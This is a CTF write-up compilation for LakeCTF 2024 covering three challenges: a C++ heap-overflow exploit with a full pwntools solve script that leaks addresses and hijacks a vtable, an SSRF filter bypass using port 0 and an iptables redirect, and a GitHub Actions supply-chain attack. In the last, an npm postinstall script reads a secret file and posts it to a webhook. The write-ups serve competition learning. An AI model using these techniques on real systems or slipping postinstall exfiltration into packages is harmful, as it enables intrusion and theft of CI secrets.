.;,;.
LakeCTF 2024 Writeup Compilation

LakeCTF 2024 Writeup Compilation

,
December 8, 2024
17 min read
Table of Contents

Yesterday we participated in LakeCTF 2024, a 24-hour jeopardy event for LakeCTF Finals. We ended up in first place! Here are some of the writeups for the challenges we solved.

Binary Exploitation

bash plus plus

Category
pwn
Points
170
Files
file.zip
Flag
EPFL{why_add_a_logging_feature_in_the_first_place}

What if you had a shell where you could only do maths? nc chall.polygl0ts.ch 9034

We used a heap overflow from strcat, which allowed unbounded input into a variable of fixed size, to modify variables stored in chunks created by C++ classes for address leaks and function calls.

Analysis

We are given a Dockerfile, binary, and source code for this challenge. Reading the source code, the program defines classes Log and Variable, Variable having two child classes stringVariable and longVariable, along with enum TYPE:

class Log {
int size;
char logs[10];
int get_size() {...}
void increase_size() {...}
void add_cmd_to_log(const char* cmd) {...}
void reset_log() {...}
};
enum TYPE {...};
class Variable {
TYPE type;
union {
long l;
char* s;
} value;
Variable(long l) : type(LONG) {...}
Variable(const char* s) : type(STRING) {...}
virtual void print() {...}
};
class longVariable : public Variable {
longVariable(long l) : Variable(l) {}
void print() override {...}
};
class stringVariable : public Variable {
void print() override {...}
};

A map variables is also defined to store Variable objects:

std::map<std::string, Variable*> variables;

The program also defines functions to deal with setting and getting the value of Variable objects and allowing for basic arithmetic on longVariable objects. The program also defines a win() function, which prints the flag.

void setvar(const char* name, const char* p){...}
Variable* getvarbyname(const char* name) {...}
long getLongVar(const char* name) {...}
long getLongVar(const char* name) {...}
void process_arithmetic(char* cmd) {...}
void win() {...}

The main() function allows for repeated input, and appears to process input to match certain syntaxes. The input goes to a char array each time, and although the input is unbound, it only seems to cause a program crash, but will come in handy. The inputs are processed as follows:

  • $((${var1_name}{op}${var2_name}) will call process_arithmetic()
  • ${var_name}={var_value} will call setvar()
  • ${var_name} will store the output of getvarbyname() in a Variable* and call print() from the output Variable
  • log will set the Log *log log variable to a new Log object.
  • If the input does not match any of the formats above, it will just print the input and proceed

Getting a heap leak

The first input should be b"log", so the chunk it creates will be right next to chunks created by later commands instead of the cin/cout chunks it initially borders. The Log implementation allows for infinite heap overflows, since each iteration adds the command using strcat to a char array of length 10, which is stored on the heap.

p.sendlineafter(b"> ", b"log")

After reinitializing the log, we initialize a stringVariable and a longVariable:

p.sendlineafter(b"> ", b"$a=s") # stringVariable
p.sendlineafter(b"> ", b"$b=0") # longVariable

The heap starting from the log looks something like this:

--log--
log:
0x56521666e6e0 0x0000000000000000 0x0000000000000021 ........!.......
end of log ↓
0x56521666e6f0 0x24676f6c00000002 0x0000000000622461 ....log$a$b.....
--start of variable $a--
$a:
0x56521666e700 0x0000000000000000 0x0000000000000021 ........!.......
vtable for
stringVariable+16: type = STRING
0x56521666e710 0x00005651f4dd3bd0 0x0000000000000001 .;..QV..........
&value
0x56521666e720 0x000056521666e730 0x0000000000000021 0.f.RV..!.......
$a->value
0x56521666e730 0x0000000000000073 0x0000000000000000 s...............
variables[0]
0x56521666e740 0x0000000000000000 0x0000000000000051 ........Q.......
0x56521666e750 0x0000000000000001 0x00005651f4dd4288 .........B..QV..
0x56521666e760 0x0000000000000000 0x000056521666e7c0 ..........f.RV..
0x56521666e770 0x000056521666e780 0x0000000000000001 ..f.RV..........
0x56521666e780 0x0000000000000061 0x0000000000000000 a...............
--start of variable $b--
$b:
0x56521666e790 0x000056521666e710 0x0000000000000021 ..f.RV..!.......
vtable for
longVariable+16 type = LONG
0x56521666e7a0 0x00005651f4dd3be8 0x0000000000000000 .;..QV..........
value = 0 variables[1]
0x56521666e7b0 0x0000000000000000 0x0000000000000051 ........Q.......
0x56521666e7c0 0x0000000000000000 0x000056521666e750 ........P.f.RV..
0x56521666e7d0 0x0000000000000000 0x0000000000000000 ................
0x56521666e7e0 0x000056521666e7f0 0x0000000000000001 ..f.RV..........
0x56521666e7f0 0x0000000000000062 0x0000000000000000 b...............
top chunk
0x56521666e800 0x000056521666e7a0 0x000000000000d801 ..f.RV..........
The chunks created by variables can be ignored

We will trigger a heap overflow to overwrite the type of $a from a stringVariable to a longVariable. Sending 29 trash bytes will change the type of $a to the null byte at the end of the input, or 0. Now that $a is a longVariable, it can be used in process_arithmetic calculations. This is important because process_arithmetic does not use the print() function, but just sends the output of the math operation to stdout, since the value of the vtable entry for print() has been overwritten with trash to overwrite the Variable type.

std::cout << a {op} b << std::endl;

Since the longVariable stores its value directly, sending $(($a+$b) will print &$a->value + 0, or just &$a->value, which is relative to the heap base:

p.sendlineafter(b"> ", cyclic(29))
p.sendlineafter(b"> ", b"$(($a+$b)")
heap_leak = int(p.recvline(keepends=False))
log.info(f"Heap leak: {heap_leak:#x}")
Heap leak: 0x56521666e730

Getting a PIE Leak

Next, we will find the PIE base to calculate the win() function address. A similar approach to the heap leak will be used, but this time it will use getLongVar’s invalid variable message to leak a PIE address. When getLongVar detects a Variable does not have type LONG, it will execute this:

std::cout << "Invalid variable " << name << ": " << v->value.s << std::endl;

where v is:

Variable* v = getvarbyname(name);

If v->value.s is an address that points to a PIE address (heap addr->PIE addr), that PIE address will be leaked and the ELF base can be calculated. To start, reset the log so heap overflows will be easy to calculate.

p.sendlineafter(b"> ", b"log")

Create one stringVariable and one longVariable:

p.sendlineafter(b"> ", b"$c=s")
p.sendlineafter(b"> ", b"$d=0")

The heap starting from the new log will look something like this:

--log--
log:
0x56521666e800 0x000056521666e7a0 0x0000000000000021 ..f.RV..!.......
end of log ↓
0x56521666e810 0x24676f6c00000002 0x0000000000642463 ....log$c$d.....
--start of variable $c--
$c:
0x56521666e820 0x0000000000000000 0x0000000000000021 ........!.......
vtable for
stringVariable+16 type = STRING
0x56521666e830 0x00005651f4dd3bd0 0x0000000000000001 .;..QV..........
&value
0x56521666e840 0x000056521666e850 0x0000000000000021 P.f.RV..!.......
$c->value
0x56521666e850 0x0000000000000073 0x0000000000000000 s...............
variables[2]
0x56521666e860 0x0000000000000000 0x0000000000000051 ........Q.......
0x56521666e870 0x0000000000000001 0x000056521666e7c0 ..........f.RV..
0x56521666e880 0x0000000000000000 0x000056521666e8e0 ..........f.RV..
0x56521666e890 0x000056521666e8a0 0x0000000000000001 ..f.RV..........
0x56521666e8a0 0x0000000000000063 0x0000000000000000 c...............
--start of variable $d--
$d:
0x56521666e8b0 0x000056521666e830 0x0000000000000021 0.f.RV..!.......
vtable for
longVariable+16 type = LONG
0x56521666e8c0 0x00005651f4dd3be8 0x0000000000000000 .;..QV..........
value = 0 variables[3]
0x56521666e8d0 0x0000000000000000 0x0000000000000051 ........Q.......
0x56521666e8e0 0x0000000000000000 0x000056521666e870 ........p.f.RV..
0x56521666e8f0 0x0000000000000000 0x0000000000000000 ................
0x56521666e900 0x000056521666e910 0x0000000000000001 ..f.RV..........
0x56521666e910 0x0000000000000064 0x0000000000000000 d...............
top chunk
0x56521666e920 0x000056521666e8c0 0x000000000000d6e1 ..f.RV..........

Overflowing 37 trash bytes will reach $c->value, which can be overwritten with the heap address that points to a PIE address. To find this, we will look at the chunks created by our Variable objects. These chunks contain vtable entries for the their print functions, which are located in the section of memory affected by PIE therefore usable to calculate the ELF base. We can use xinfo to calculate the offset of the address we leak to the ELF base.

pwndbg> xinfo 0x5651f4dd3be8
Extended information for virtual address 0x5651f4dd3be8:
Containing mapping:
0x5651f4dd3000 0x5651f4dd4000 r--p 1000 7000 ./bash_plus_plus/main
Offset information:
Mapped Area 0x5651f4dd3be8 = 0x5651f4dd3000 + 0xbe8
File (Base) 0x5651f4dd3be8 = 0x5651f4dcb000 + 0x8be8
File (Segment) 0x5651f4dd3be8 = 0x5651f4dd3ba8 + 0x40
File (Disk) 0x5651f4dd3be8 = ./bash_plus_plus/main + 0x7be8
Containing ELF sections:
.data.rel.ro 0x5651f4dd3be8 = 0x5651f4dd3bc0 + 0x28
Removing the absolute path

So, our payload will be:

payload = flat([
cyclic(37),
heap_leak+112, # &$b->print
])
p.sendlineafter(b"> ", payload)
p.sendlineafter(b"> ", b"$(($c+$d)")
# &$b->print - offset = base
elf.address = u64(p.recvline(keepends=False)[20:].ljust(8, b'\0')) - 0x8be8
log.info(f"PIE: {elf.address:#x}")
PIE: 0x5651f4dcb000

winning

Our final goal is to overwrite a Variable object’s print function with win, then call it. First we reset the log.

p.sendlineafter(b"> ", b"log")

To call win(), we need to create a pointer of the win() function (ptr->win). This can be done by creating a longVariable that contains the win() function, then creating a stringVariable and overwriting its print() function address with the address to the longVariable containing win.

p.sendlineafter(b"> ", b"$e=s") # To overwrite print
p.sendlineafter(b"> ", f"$win={elf.address+11693}".encode()) # to hold win address

This is the heap starting from the new log:

--log--
log:
0x56521666e920 0x000056521666e8c0 0x0000000000000021 ..f.RV..!.......
end of log ↓
0x56521666e930 0x24676f6c00000002 0x0000006e69772465 ....log$e$win...
--start of variable $e--
$e:
0x56521666e940 0x0000000000000000 0x0000000000000021 ........!.......
vtable for
stringVariable+16 type = STRING
0x56521666e950 0x00005651f4dd3bd0 0x0000000000000001 .;..QV..........
&value
0x56521666e960 0x000056521666e970 0x0000000000000021 p.f.RV..!.......
$e->value
0x56521666e970 0x0000000000000073 0x0000000000000000 s...............
variables[4]
0x56521666e980 0x0000000000000000 0x0000000000000051 ........Q.......
0x56521666e990 0x0000000000000001 0x000056521666e8e0 ..........f.RV..
0x56521666e9a0 0x0000000000000000 0x000056521666ea00 ..........f.RV..
0x56521666e9b0 0x000056521666e9c0 0x0000000000000001 ..f.RV..........
0x56521666e9c0 0x0000000000000065 0x0000000000000000 e...............
--start of variable $win--
$win:
0x56521666e9d0 0x000056521666e950 0x0000000000000021 P.f.RV..!.......
vtable for
longVariable+16 type = LONG
0x56521666e9e0 0x00005651f4dd3be8 0x0000000000000000 .;..QV..........
value = &win variables[5]
0x56521666e9f0 0x00005651f4dcddad 0x0000000000000051 ....QV..Q.......
0x56521666ea00 0x0000000000000000 0x000056521666e990 ..........f.RV..
0x56521666ea10 0x0000000000000000 0x0000000000000000 ................
0x56521666ea20 0x000056521666ea30 0x0000000000000003 0.f.RV..........
0x56521666ea30 0x00000000006e6977 0x0000000000000000 win.............
top chunk
0x56521666ea40 0x000056521666e9e0 0x000000000000d5c1 ..f.RV..........

Overwriting the print() function address with &$e->value using the heap overflow:

payload = flat([
cyclic(19),
heap_leak+704, # $win->value
])
p.sendlineafter(b"> ", payload)

To call win(), we just need to try to print the variable (${var_name}).

p.sendlineafter(b"> ", b"$e")
flag{}

Running the script on remote:

EPFL{why_add_a_logging_feature_in_the_first_place}

Final solve script:

solve.py
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("./main")
gdbscript = """
brva 0x2ff0
c
"""
def conn():
if args.REMOTE:
#p = remote("addr", args.PORT)
#p = remote(args.HOST, args.PORT)
p = remote("chall.polygl0ts.ch", 9034)
elif args.GDB:
p = gdb.debug([elf.path], gdbscript=gdbscript)
log.info("gdbscript: " + gdbscript)
else:
p = process([elf.path])
return p
p = conn()
# solve or else
# heap leak
p.sendlineafter(b"> ", b"log")
p.sendlineafter(b"> ", b"$a=s")
p.sendlineafter(b"> ", b"$b=0")
p.sendlineafter(b"> ", cyclic(29))
p.sendlineafter(b"> ", b"$(($a+$b)")
heap_leak = int(p.recvline(keepends=False))
log.info(f"Heap leak: {heap_leak:#x}")
# elf leak
p.sendlineafter(b"> ", b"log")
p.sendlineafter(b"> ", b"$c=s")
p.sendlineafter(b"> ", b"$d=0")
payload = flat([
cyclic(37),
heap_leak+112,
])
p.sendlineafter(b"> ", payload)
p.sendlineafter(b"> ", b"$(($c+$d)")
elf.address = u64(p.recvline(keepends=False)[20:].ljust(8, b'\0')) - 0x8be8
log.info(f"PIE: {elf.address:#x}")
# solve
p.sendlineafter(b"> ", b"log")
p.sendlineafter(b"> ", b"$e=s")
p.sendlineafter(b"> ", f"$win={elf.address+11693}".encode())
payload = flat([
cyclic(19),
heap_leak+704,
])
p.sendlineafter(b"> ", payload)
p.sendlineafter(b"> ", b"$e")
p.interactive()
p.interactive()

Web

o1

Category
web
Points
364
Files
web-o1.zip
Flag
EPFL{gpt ch411zz is the nEw m3t4}

This challenge was generated by chatgpt o1-mini. The website contains three main components:

app1.py
@app.route('/secret', methods=['GET'])
def secret():
# Allow access only from localhost
if request.remote_addr != '127.0.0.1':
return 'Access denied', 403
return 'EPFL{fake_flag}', 200
...
@app.route('/proxy', methods=['GET'])
def proxy():
url = request.args.get('url', '')
if not url:
return 'Missing url parameter', 400
# Replace backslashes with slashes
url = url.replace('\\', '/')
parsed = urllib.parse.urlparse(url)
# Check for valid protocol
if parsed.scheme not in ['http', 'https']:
return 'invalid protocol', 400
# Check for custom port
if parsed.port:
return 'no custom port allowed', 400
# Forward the request to the second proxy
try:
response = requests.post('http://localhost:1111/proxy', json={'url': url}, timeout=5)
return response.text, response.status_code
except requests.exceptions.RequestException:
return 'Error contacting second proxy', 500
app2.py
@app.route('/proxy', methods=['POST'])
def proxy():
data = request.get_json()
if not data or 'url' not in data:
return 'Missing url parameter', 400
url = data['url']
parsed = urllib.parse.urlparse(url)
scheme = parsed.scheme
hostname = parsed.hostname
port = parsed.port
# Determine the port if not explicitly specified
if port is None:
try:
port = socket.getservbyname(scheme)
except:
return 'Invalid scheme', 400
# Validate the target domain based on the port
if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
return 'invalid target domain!', 400
# Forward the request to the third proxy
try:
response = requests.post('http://localhost:3000/proxy', json={'url': url}, timeout=5)
return response.text, response.status_code
except requests.exceptions.RequestException:
return 'Error contacting third proxy', 500
app3.js
...
app.post('/proxy', async (req, res) => {
const url = req.body.url;
if (!url) {
return res.status(400).send('Missing url parameter');
}
try {
// Use Node.js's built-in fetch function
const response = await fetch(url);
const data = await response.text();
// Forward the response back to the caller
res.status(response.status).send(data);
} catch (error) {
console.error('Error fetching the URL:', error);
res.status(500).send('Error fetching the URL');
}
});
...

The only port that’s exposed is port 9222, and goal is to fetch 127.0.0.1:9222/secret from your local machine.

Look into app1.py’s code, it’s trying to get the request IP address by request.remote_addr. There shouldn’t be any http header bypass in here; however, it’s always a good idea to check. So I just used this payload list and, of course, it didn’t work:

So the only approach for solving is to bypass the checkers in the program: app1.py -> app2.py -> app3.js -> app1.py.

Checkers?

app1.py will replace all the backslashes, and then makes sure the URL schema is HTTP or HTTPS without custom ports allowed. If our goal is to let app3.js request http://127.0.0.1:9222/secret, we need to have a way to smuggle in the custom port.

Now looking into app2.py, it’s even more harsh. It checks the URL if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'): return 400, which totally removes the idea of requesting 127.0.0.1.

The good thing here is that there is no checker on app3.js; however, it’s using node.js’s fetch() which we only can use HTTP and HTTPS protocol URLs (file:/// is not supported, so we can’t just fetch file:///app1.py).

URL confusion attempts

One possibility here is to bypass the checker by using the difference between node.js’s fetch() and Python’s urllib.parse.urlparse(url). Python’s urllib strictly follows RFC3986 protocol (formal definition from here):

image13

For a more simple picture:

image

The first idea is that everything in front of the @ is actually the credentials of the URL, not the actual domain. Interestingly enough, everything after \ in Python will be just ignored.

So in combination, if I request https://attacker.com\@@example.com, it would actually take me to https://attacker.com in normal browser:

example.com
>https://attacker.com%[email protected]
example.com
>https://attacker.com\@@example.com
example.com
>https://attacker.com:\@@example.com
example.com
>https://attacker.com\[email protected]/
example.com

Sadly in fetch(), due to safety issues they don’t allow credentials in the URL:

image14

By adding extra \, can bypass both node.js’s fetch() and also bypass the Python checker:

image16

image15

Now that fetch() is working, we have another issue: app2.py is checking if the port is 80 or 443 or not. The scheme is what determines the port:

image17

My second idea is to smuggle in some wired scheme such that it would go to some interesting place. The socket.getservbyname() function will read the /etc/services. In the Docker that’s provided, there isn’t anything on port 9222, which is sad. Plus, we can’t really smuggle in a scheme because it’s strictly checked by RF3986.

ChatGPT moment

I always feel that since this code is generated by ChatGPT that there must be some error in the programming logic that’s hard to find. After a day of struggling, we saw this section:

image18

Here, it’s checking the parsed port. What if the port is 0? Then if parsed.port will be always False and pass the app1.py checker!

And in the second checker:

image5

The if statement only checks the domain when the port is 443 or 80. If the port is 0, it won’t check at all. Thus, the second checker gets passed!

Now the question becomes: is hosting server on port 0 possible?

Port 0

Node.js’s fetch() supports port 0 and we tested it, so it won’t randomly send to a port. After tons of research, it seems impossible to host a server on port 0:

image19

Here is the post.

Everything hosted there will be assigned a random port.

However, not being able to host on port 0 doesn’t mean it can’t be redirected to another port.

In this post, the author uses iptables to redirect port 0 to 80 and successfully curls port 0 to get the response.

So we used the same method and set up our server:

Terminal window
iptables -t nat -A PREROUTING -p tcp --dport 0 -j REDIRECT --to-port 80

Where on port 80 we set a redirection to http://127.0.0.1:9222/secret (thankfully, Node.js’s fetch() don’t care about unsafe fetch).

Flagg!!

Terminal window
curl "https://challs.polygl0ts.ch:9222/proxy?url=http://<youripaddr>:0"{:shell}

EPFL{gpt ch411zz is the nEw m3t4}

Misc

VerySusOrganization

We are given a link to a website that when opened allows us to generate an invite to a github organization. After accepting our invite we gain access to the highly suspicious: https://github.com/VerySusOrganization2 where we find only two repositories

verysusorganization1

Looking into the sus-image-generator-repo we are able to find a rather interesting github actions script

name: Trigger Build on Comment
on:
issue_comment:
types: [created, edited]
jobs:
check-build:
if: ${{ startsWith(github.event.comment.body, '/run-build') }}
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Set up SSH
env:
ACTIONS_DEPLOY_KEY: ${{ secrets.DEPENDENCY_DEPLOY_KEY }}
FLAG: ${{ secrets.FLAG }}
run: |
pwd
mkdir -p ~/.ssh
echo "$ACTIONS_DEPLOY_KEY" > ~/.ssh/id_rsa
echo "$FLAG" > ~/flag.txt
chmod 600 ~/.ssh/id_rsa
ssh-keyscan github.com >> ~/.ssh/known_hosts
- name: Install dependencies
run: |
npm install

Whenever a comment is added on issues that starts with the string “/run-build” the action will clone the repository, write our flag from the FLAG environment variable to a flag.txt in the home directory, and run npm install.

{
"name": "sus-image-generator",
"version": "1.0.0",
"main": "app.js",
"keywords": [],
"author": "paultisaw",
"license": "ISC",
"description": "Yet another sus image generator",
"dependencies": {
"express": "^4.21.1",
"suspicious-random-number-generator": "git+ssh://[email protected]:VerySusOrganization2/suspicious-random-number-generator-repo-ZeroDayTea.git"
}
}

Luckily for us, looking at the package.json (which specifies the dependencies to be installed) we find that our repository from earlier “suspicious-random-number-generator” is listed as a dependency. That way we can write to our suspicious-random-number-generator repository and that code will be installed upon leaving a “/run-build” comment.

How can we get code to run upon installing our other repo as a dependency though? Easily enough we can just rely on npm’s preinstall/postinstall scripts. Initially, the package.json for the suspicious-random-number-generator-repo looks like

{
"name": "suspicious-random-number-generator",
"version": "1.0.0",
"main": "index.js",
"author": "paultisaw",
"description": "Yet another suspicious random number generator"
}

but we can modify it to include a postinstall script that looks like

{
"name": "suspicious-random-number-generator",
"version": "1.0.0",
"main": "index.js",
"author": "paultisaw",
"description": "Yet another suspicious random number generator",
"scripts": {
"postinstall": "node postinstall.js"
}
}

and additionally we add a postinstall.js script that will read the flag and send it to an endpoint we control

const https = require('https');
function sendToWebhook(data) {
const webhookUrl = new URL('https://webhook.site/[custom webhook]');
const req = https.request({
hostname: webhookUrl.hostname,
path: webhookUrl.pathname,
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
})
req.write(JSON.stringify(data));
req.end();
}
const fs = require('fs');
const flag = process.env.FLAG || fs.readFileSync('/home/runner/flag.txt', 'utf8').trim();
sendToWebhook({ message: "Postinstall triggered", flag: flag });

This way we can write any javascript code in our postinstall.js and it will get triggered right after the npm install runs. With the above script we can read the flag file from the directory it was created in and send it to an endpoint we control like a webhook.

After committing the changes to our repo we go back to the sus-image-generator-repo, create an issue, and leave the necessary “/run-build” comment to trigger our build.

verysusorganization2

after which we check our webhook and see that we’ve gotten the flag.

{ "message": "Postinstall triggered", "flag": "
⢀⣀⣀⣴⣆⣠⣤⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣻⣿⣯⣘⠹⣧⣤⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠿⢿⣿⣷⣾⣯⠉⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⠜⣿⡍⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⠁⠀⠘⣿⣆⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⡟⠃⡄⠀⠘⢿⣆⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣁⣋⣈ ⣤⣮⣿⣧⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡿⠛⠉⠙⠛⠛⠛⠛⠻⢿⣿⣷⣤⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⠋⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠈⢻⣿⣿⡄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣸⣿⡏⠀⠀⠀⣠⣶⣾⣿⣿⣿⠿⠿⠿⢿⣿⣿⣿⣄⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠁⠀⠀⢰⣿⣿⣯⠁⠀⠀⠀⠀⠀⠀⠀⠈⠙⢿⣷⡄⠀
⠀⠀⣀⣤⣴⣶⣶⣿⡟⠀⠀⠀⢸⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣷⠀
⠀⢰⣿⡟⠋⠉⣹⣿⡇⠀⠀⠀⠘⣿⣿⣿⣿⣷⣦⣤⣤⣤⣶⣶⣶⣶⣿⣿⣿⠀
⠀⢸⣿⡇⠀⠀⣿⣿⡇⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀
⠀⣸⣿⡇⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠉⠻⠿⣿⣿⣿⣿⡿⠿⠿⠛⢻⣿⡇⠀⠀
⠀⣿⣿⠁⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣧⠀⠀
⠀⣿⣿⠀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⠀⠀
⠀⣿⣿⠀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⠀⠀
⠀⢿⣿⡆⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡇⠀⠀
⠀⠸⣿⣧⡀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠃⠀⠀
⠀⠀⠛⢿⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⣰⣿⣿⣷⣶⣶⣶⣶⠶⠀⢠⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⣿⣿⡇⠀⣽⣿⡏⠁⠀⠀⢸⣿⡇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⣿⣿⡇⠀⢹⣿⡆⠀⠀⠀⣸⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢿⣿⣦⣄⣀⣠⣴⣿⣿⠁⠀⠈⠻⣿⣿⣿⣿⡿⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⠛⠻⠿⠿⠿⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
🎉 CONGRATULATIONS 🎉
EPFL{ThIS_was_inD33d_very_Sus}" }